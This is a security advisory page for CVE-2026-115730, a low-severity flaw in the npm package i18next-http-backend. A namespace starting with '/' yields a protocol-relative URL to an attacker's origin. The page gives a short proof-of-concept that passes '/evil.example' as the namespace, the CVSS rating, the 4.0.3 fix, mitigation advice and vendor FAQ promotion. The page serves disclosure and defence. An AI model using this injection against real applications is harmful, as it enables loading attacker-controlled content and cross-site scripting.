CVE-2026-115730

i18next-http-backend: Namespace value starting with / forms a protocol-relative URL when loadPath/addPath places {{ns}} right after a / (bypass of the // check added for GHSA-xvq9-wjp8-hwqf)

import Backend from 'i18next-http-backend'
const b = new Backend(null, { loadPath: '/{{ns}}/{{lng}}.json',
  request: (opts, url, payload, cb) => { console.log(url, '->', new URL(url, 'https://app.example/').origin); cb(null, { status: 200, data: '{}' }) } })
b.read('en', '/evil.example', () => {})

POC ns=/evil.example  loadPath=/{{ns}}/{{lng}}.json => url=//evil.example/en.json  origin in page https://app.example/ = https://evil.example

Same class as GHSA-xvq9-wjp8-hwqf and GHSA-q89c-q3h5-w34g: when an attacker controls the namespace value, the request goes to an attacker-chosen origin. In a browser this loads attacker-controlled translation JSON (content injection into the UI, and XSS where translations are rendered as HTML). The precondition is a template with {{ns}} right after a leading /, for example /{{ns}}/{{lng}}.json. The 4.0.2 maintainer note says templates with a leading / are safe. This case is outside that statement.

CVE-2026-115730 has a CVSS score of 3.1 (Low). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.0.3); upgrading removes the vulnerable code path.

Kodem intelligence

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Validate the final interpolated URL, not just the values: reject it if it starts with // or \, or if it has a scheme or host the template did not have. The advisory already recommends this ("parse the final URL and require it to remain within the intended origin and path"). Alternatively, reject an ns that starts with /.

1. What is CVE-2026-115730? CVE-2026-115730 is a low-severity security vulnerability in i18next-http-backend (npm), affecting versions < 4.0.3. It is fixed in 4.0.3.
2. How severe is CVE-2026-115730? CVE-2026-115730 has a CVSS score of 3.1 (Low). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of i18next-http-backend are affected by CVE-2026-115730? i18next-http-backend (npm) versions < 4.0.3 is affected.
4. Is there a fix for CVE-2026-115730? Yes. CVE-2026-115730 is fixed in 4.0.3. Upgrade to this version or later.
5. Is CVE-2026-115730 exploitable, and should I be worried? Whether CVE-2026-115730 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-115730 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-115730? Upgrade i18next-http-backend to 4.0.3 or later.

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